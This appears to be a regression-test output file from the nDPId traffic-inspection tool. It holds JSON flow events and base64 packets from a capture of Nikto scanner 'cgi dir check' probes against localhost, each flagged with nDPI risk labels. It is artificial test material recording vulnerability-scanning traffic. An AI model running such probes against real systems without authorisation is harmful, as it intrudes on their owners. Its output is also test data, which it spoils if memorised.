{"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1576420276707,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49608,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":707314,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCUelAAEAG6kp\/AAABfwAAAcHIH5DIZGoAvjYJ64AYAED+tgAAAQEICp1m+wudZvsLR0VUIC9tcGNnaS8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQoNCg=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1576420276707,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49608,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/mpcgi\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1576420276708,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49610,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":708717,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE7opAAEAGTad\/AAABfwAAAcHKH5CIytaS2kjlzYAYAED+uAAAAQEICp1m+wydZvsMR0VUIC9jZ2ktYmluLyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1576420276708,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49610,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":35,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1576420276710,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49612,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":710126,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEp+BAAEAGlFF\/AAABfwAAAcHMH5C4I5\/IUy7GWoAYAED+uAAAAQEICp1m+w6dZvsNR0VUIC9vd3MtYmluLyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":35,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1576420276710,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49612,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ows-bin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1576420276711,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49614,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":711563,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEXJRAAEAG351\/AAABfwAAAcHOH5AWt2SMpHJk2oAYAED+uAAAAQEICp1m+w+dZvsPR0VUIC9jZ2ktc3lzLyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":36,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1576420276711,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49614,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-sys\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1576420276713,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49616,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":713038,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADG5r1AAEAGVXJ\/AAABfwAAAcHQH5DCed6iQK2\/KYAYAED+ugAAAQEICp1m+xCdZvsQR0VUIC9jZ2ktbG9jYWwvIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1576420276713,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49616,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-local\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1576420276714,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49618,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":714495,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCR6dAAEAG9Ix\/AAABfwAAAcHSH5C\/OX\/AhojitYAYAED+tgAAAQEICp1m+xKdZvsSR0VUIC9odGJpbi8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1576420276714,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49618,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/htbin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1576420276717,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49620,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":717043,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD3hBAAEAGXiJ\/AAABfwAAAcHUH5AtGuYWzQuuvoAYAED+twAAAQEICp1m+xSdZvsUR0VUIC9jZ2liaW4vIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1576420276717,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49620,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgibin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1576420276718,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49622,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":718385,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB4dFAAEAGWmN\/AAABfwAAAcHWH5B7V9nVmVXzCoAYAED+tQAAAQEICp1m+xadZvsWR0VUIC9jZ2lzLyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCg0K"} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":40,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1576420276718,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49622,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgis\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1576420276719,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49624,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":719729,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEZD1AAEAG1\/R\/AAABfwAAAcHYH5Ba2lwhPKb01YAYAED+uAAAAQEICp1m+xedZvsXR0VUIC9zY3JpcHRzLyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":41,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1576420276719,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49624,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1576420276721,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49626,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":721298,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEcYRAAEAGyq1\/AAABfwAAAcHaH5DTlEmfv44DhoAYAED+uAAAAQEICp1m+xmdZvsZR0VUIC9jZ2ktd2luLyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1576420276721,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49626,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-win\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1576420276722,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49628,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":722883,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF6C5AAEAGVAJ\/AAABfwAAAcHcH5DviNAxcnIUCYAYAED+uQAAAQEICp1m+xqdZvsaR0VUIC9mY2dpLWJpbi8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1576420276722,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49628,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/fcgi-bin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1576420276724,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49630,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":724390,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEjEdAAEAGr+p\/AAABfwAAAcHeH5D1xLRZpE\/AW4AYAED+uAAAAQEICp1m+xydZvscR0VUIC9jZ2ktZXhlLyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1576420276724,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49630,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-exe\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1576420276725,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49632,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":725839,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFFmlAAEAGJch\/AAABfwAAAcHgH5D+Si57PKwG0oAYAED+uQAAAQEICp1m+x2dZvsdR0VUIC9jZ2ktaG9tZS8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} 